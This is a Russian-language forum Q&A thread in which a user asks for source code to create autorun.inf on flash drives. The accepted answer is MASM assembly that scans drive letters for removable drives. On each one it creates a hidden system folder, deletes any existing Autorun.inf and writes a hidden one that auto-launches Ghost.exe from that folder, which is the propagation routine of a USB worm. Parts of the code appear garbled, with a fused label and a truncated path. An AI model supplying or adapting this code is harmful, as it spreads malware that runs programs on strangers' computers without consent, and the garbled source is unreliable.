Другие языки программирования и технологии

А мона сделать Создание файла autorun.inf для CD- и DVD-дисков. ток на флехе!! ток с исходником

Aleksandr Kurganovich
Aleksandr Kurganovich
4 961
исходник на чем? на ассемблере пойдет )) прога ишет флешка и создаёт авторан файл... .

.386p
.MODEL FLAT, STDCALL
includelib C:\LimpDocs\masm32\lib\user32.lib
includelib C:\LimpDocs\masm32\lib\kernel32.lib

EXTERN GetDriveTypeA@4:NEAR
EXTERN CreateFileA@28:NEAR
EXTERN WriteFile@20:NEAR
EXTERN CloseHandle@4:NEAR
EXTERN DeleteFileA@4:NEAR
EXTERN CreateDirectoryA@8:NEAR
EXTERN SetFileAttributesA@8:NEAR

FILE_ATTRIBUTE_READONLY equ 1h
FILE_ATTRIBUTE_HIDDEN equ 2h
FILE_ATTRIBUTE_SYSTEM equ 4h
FILE_ATTRIBUTE_NORMAL equ 80h

DRIVE_REMOVABLE equ 2
DRIVE_FIXED equ 3
DRIVE_REMOTE equ 4
DRIVE_CDROM equ 5
DRIVE_RAMDISK equ 6

CREATE_ALWAYS equ 2
FILE_SHARE_WRITE equ 00000002h
GENERIC_WRITE equ (40000000h)
GENERIC_READ equ (80000000h)
_DATA SEGMENT DWORD PUBLIC USE32 'DATA'
HFILE DD 0
CODE_NUDB 8 dup ('0')
Dir DB "X:\\no...\",0
AutRn DB "X:\\Autorun.inf",0
CODE_INF DB '[autorun]',0Dh,0Ah
DB 'ICON=no...\Ghost.exe',0Dh,0Ah
DB 'ShellExecute=no...\Ghost.exe',0Dh,0Ah
DB 'Label=Flash Drive',0Dh,0Ah
DB 'UseAutoPlay=1',0Dh,0Ah
SIZE_CODE_INF = $ - CODE_INF
L_DRIVER DW 3a40h,0
_DATA ENDS
_TEXT SEGMENT DWORD PUBLIC USE32 'CODE'

START:

NextDrv:
;PUSH 100
;CALL Sleep@4
INC L_DRIVER
; Узнаём тип диска, и если он съемный или жесткий- переходим к процедуре.. .
PUSH OFFSET L_DRIVER
CALL GetDriveTypeA@4

CMP eax,DRIVE_REMOVABLE
JE INFIC
;CMP eax,DRIVE_FIXED
;JE INFIC

CMP L_DRIVER,3a4bh ;Если уже диск K:
JNE NextDrv ; если нет следующий диск
MOV L_DRIVER,3a41h ; если да то опять начинаем с диска A:
JMP NextDrv

INFIC:
; Создаём папку на каждом найденном диске
XOR ebx,ebx
MOV bx,L_DRIVER[0]
MOV Dir,bl
PUSH 0
PUSH offset Dir
CALL CreateDirectoryA@8

;Присваиваем ей атрибут - Системный, Только для чтения и Скрытый
PUSH FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM
PUSH offset Dir
CALL SetFileAttributesA@8

; Удаляем файлы Autorun.inf
XOR ebx,ebx
MOV bx,L_DRIVER[0]
MOV AutRn[0],bl
PUSH offset AutRn
CALL DeleteFileA@4

; Создаём файлы Autorun.inf

PUSH 0
PUSH FILE_ATTRIBUTE_HIDDEN
PUSH CREATE_ALWAYS
PUSH 0
PUSH FILE_SHARE_WRITE
PUSH GENERIC_WRITE + GENERIC_READ
PUSH offset AutRn
CALL CreateFileA@28
MOV HFILE,eax

; Записываем в них код
PUSH 0
PUSH offset CODE_NU
PUSH SIZE_CODE_INF
PUSH offset CODE_INF
PUSH HFILE
CALL WriteFile@20
PUSH HFILE
CALL CloseHandle@4

ret
_TEXT ENDS
end START
Алексей Ведров
Алексей Ведров
4 924
Лучший ответ
Aleksandr Kurganovich норм сойдет! как рас изучаю пасибки большое!
на флехе - это лиший гемор с вирусами..
Aleksandr Kurganovich да, оч над
Aleksandr Kurganovich все не нада я уже сделал!!